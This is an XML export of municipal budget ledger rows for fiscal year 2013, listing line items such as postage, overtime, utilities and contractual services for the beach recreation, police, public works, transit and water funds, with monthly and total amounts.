<row _id="3146"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="3147"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>170000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>170000.0</total></row>
<row _id="3148"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>39278.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>393</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>39671.0</total></row>
<row _id="3149"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>53199.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>53199.0</total></row>
<row _id="3150"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>863.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>863.0</total></row>
<row _id="3151"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6500.0</total></row>
<row _id="3152"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>511741.0</object><object_description>MEDICAL - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>17913.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17913.0</total></row>
<row _id="3153"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>75000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>75000.0</total></row>
<row _id="3154"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2633452.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>26335</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2659787.0</total></row>
<row _id="3155"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>39618.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>396</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>40014.0</total></row>
<row _id="3156"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>39189.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1472</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>40661.0</total></row>
<row _id="3157"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5305.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>133</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5438.0</total></row>
<row _id="3158"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577762.0</object><object_description>CDBG REIMB-PUBLIC WORKS</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-65000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-65000.0</total></row>
<row _id="3159"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511491.0</object><object_description>OVERTIME CONTINGENCY</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1184500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1184500.0</total></row>
<row _id="3160"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-ST MAINTENA</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-5000.0</total></row>
<row _id="3161"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>566500.0</object><object_description>RECRUITMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="3162"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>544910.0</object><object_description>TRANSIT STORE EXPENSES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1773.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1773.0</total></row>
<row _id="3163"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544012.0</object><object_description>MEMBRANE REPLACEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>268985.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>268985.0</total></row>
<row _id="3164"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>678.0</july><august>-137</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>541.0</total></row>
<row _id="3165"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5400.0</total></row>
<row _id="3166"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>24000</may><june>0.0</june><total>24000.0</total></row>
<row _id="3167"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561506.0</object><object_description>HOMELESS PREVENTION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>39000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>39000.0</total></row>
<row _id="3168"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>408450.0</object><object_description>TMD ASSESSMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-17325.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-17325.0</total></row>
<row _id="3169"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>402162.0</object><object_description>FILMING RECEIPTS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-30000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-30000.0</total></row>
<row _id="3170"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3666.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3666.0</total></row>
<row _id="3171"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>16357.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>164</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16521.0</total></row>
<row _id="3172"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>19500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19500.0</total></row>
<row _id="3173"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4771.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4771.0</total></row>
<row _id="3174"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>53393.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>53393.0</total></row>
<row _id="3175"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>566260.0</object><object_description>SPECIAL EVENTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>42000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>42000.0</total></row>
<row _id="3176"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560060.0</object><object_description>UNIFORMS AND MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>590.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>590.0</total></row>
<row _id="3177"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404710.0</object><object_description>415 PCH - DAY USE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1000.0</total></row>
<row _id="3178"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>-500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-500.0</total></row>
<row _id="3179"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8656.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>87</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8743.0</total></row>
<row _id="3180"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>73673.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>73673.0</total></row>
<row _id="3181"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="3182"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>70000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>70000.0</total></row>
<row _id="3183"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="3184"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-4304.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-4304.0</total></row>
<row _id="3185"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="3186"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>80000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>80000.0</total></row>
<row _id="3187"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>545010.0</object><object_description>AQUATIC SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>72000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>72000.0</total></row>
<row _id="3188"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533213.0</object><object_description>FAC MAINT-PREVENTATIVE MAINT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="3189"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>231855.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>231855.0</total></row>
<row _id="3190"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>103427.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>103427.0</total></row>
<row _id="3191"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>556700.0</object><object_description>PROP C LR-SAFE RTE TO SCHOOL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>30686.0</march><april>0</april><may>0</may><june>0.0</june><total>30686.0</total></row>
